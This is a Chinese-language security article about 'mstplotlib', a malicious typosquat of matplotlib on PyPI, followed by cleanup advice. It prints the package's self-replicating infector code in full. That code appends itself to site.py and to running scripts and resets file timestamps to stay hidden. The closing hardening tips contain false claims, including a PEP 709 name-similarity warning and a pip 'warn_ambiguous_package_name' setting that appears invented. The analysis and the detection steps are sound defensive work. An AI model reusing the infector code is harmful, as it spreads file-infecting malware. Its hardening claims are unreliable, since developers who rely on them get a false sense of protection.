
误装pip install mstplotlib(实为恶意包)会导致site.py末尾被注入可疑Python代码,该代码具备自我复制与文件感染能力,严重威胁环境安全。本文详解其行为机制、检测方法及彻底清理步骤。
误装`pip install mstplotlib`(实为恶意包)会导致`site.py`末尾被注入可疑python代码,该代码具备自我复制与文件感染能力,严重威胁环境安全。本文详解其行为机制、检测方法及彻底清理步骤。
mstplotlib并非matplotlib的拼写错误补丁,而是一个伪装成常见绘图库的恶意PyPI包(PyPI页面无描述、无源码仓库、无维护记录)。它利用用户手误诱导安装,在安装过程中通过setup.py执行隐蔽副作用——向Python标准库关键启动文件site.py写入一段具有传播性的恶意代码。
这段代码的核心逻辑如下:
mark = "#####MyPython####" # 感染标记
code = ''
with open(__file__, encoding="utf-8") as f:
for line in f:
if mark in line.strip():
code = line + f.read() # 提取自身注入段
def spread(file):
import os
stat = os.stat(file)
old_time = stat.st_atime, stat.st_mtime
# 检查目标文件是否已被感染
with open(file, 'r', encoding='utf-8') as f:
for line in f:
if mark in line:
return # 已感染,跳过
# 文件大小≥2560字节才注入(规避小文件/临时文件)
if os.path.getsize(file) >= 2560:
with open(file, 'a', encoding='utf-8') as f:
f.write('\n' + code) # 追加自身
os.utime(file, old_time) # 保持原始时间戳,隐蔽性更强
try:
spread(__import__("site").__file__) # 感染 site.py(Python启动必载)
spread(__import__("sys").argv[0]) # 感染当前运行脚本(如 .py 文件)
except:
pass
del spread, code, mark, f, line
⚠️ 关键风险点解析:
-
site.py是 Python 解释器启动时自动导入的模块,任何在此处插入的代码都会在每次 Python 进程启动时无条件执行; -
spread()函数具备横向传播能力:不仅感染site.py,还会尝试感染当前执行的.py脚本(sys.argv[0]),形成“感染链”; - 使用
os.utime()伪造文件修改时间,逃避基于时间戳的简单审计; - 标记
#####MyPython####用于避免重复注入,体现其工程化恶意特征。
✅ 立即处置建议(按优先级排序):
-
立即卸载:
pip uninstall mstplotlib -y
-
检查并清理
site.py:
找到你的 Python 环境中site.py的路径(通常位于Lib/site.py或lib/python3.x/site.py),用文本编辑器打开,搜索#####MyPython####,删除整段恶意代码(包括标记行及后续所有内容),保存文件。 -
扫描其他
.py文件(尤其近期执行过的脚本):# Windows PowerShell 示例 Get-ChildItem -Recurse -Filter "*.py" | Select-String "#####MyPython####" | Select Path # Linux/macOS grep -rl "#####MyPython####" --include="*.py" .
-
报告恶意包:
登录 PyPI → 进入mstplotlib页面 → 点击右上角 “Report” → 选择 “Malware / malicious package” 并提交说明。 -
加固开发习惯:
- 安装前始终核对包名:
pip show matplotlib查看官方包信息; - 启用
pip install --dry-run(pip ≥23.3)预览依赖; - 在 CI/CD 或虚拟环境中使用
pip install --no-deps+ 显式声明依赖,避免隐式拉取; - 定期运行
pip list --outdated并更新pip本身(新版本增强依赖解析安全性)。
- 安装前始终核对包名:
? 延伸提醒:类似恶意包(如
pytorch-lightning→pytorch-lighting、requests→requesrs)近年频发。PyPI 已引入包名相似度告警(PEP 709),但尚未默认启用。开发者应主动启用pip config set global.warn_ambiguous_package_name true(需 pip ≥24.0)提升防御水位。
请勿忽视一次“小 typo”——它可能是供应链攻击的第一步。安全始于命名校验,止于代码审计。
Python免费学习笔记(深入):立即使用
在学习笔记中,你将探索 Python 的核心概念和高级技巧!











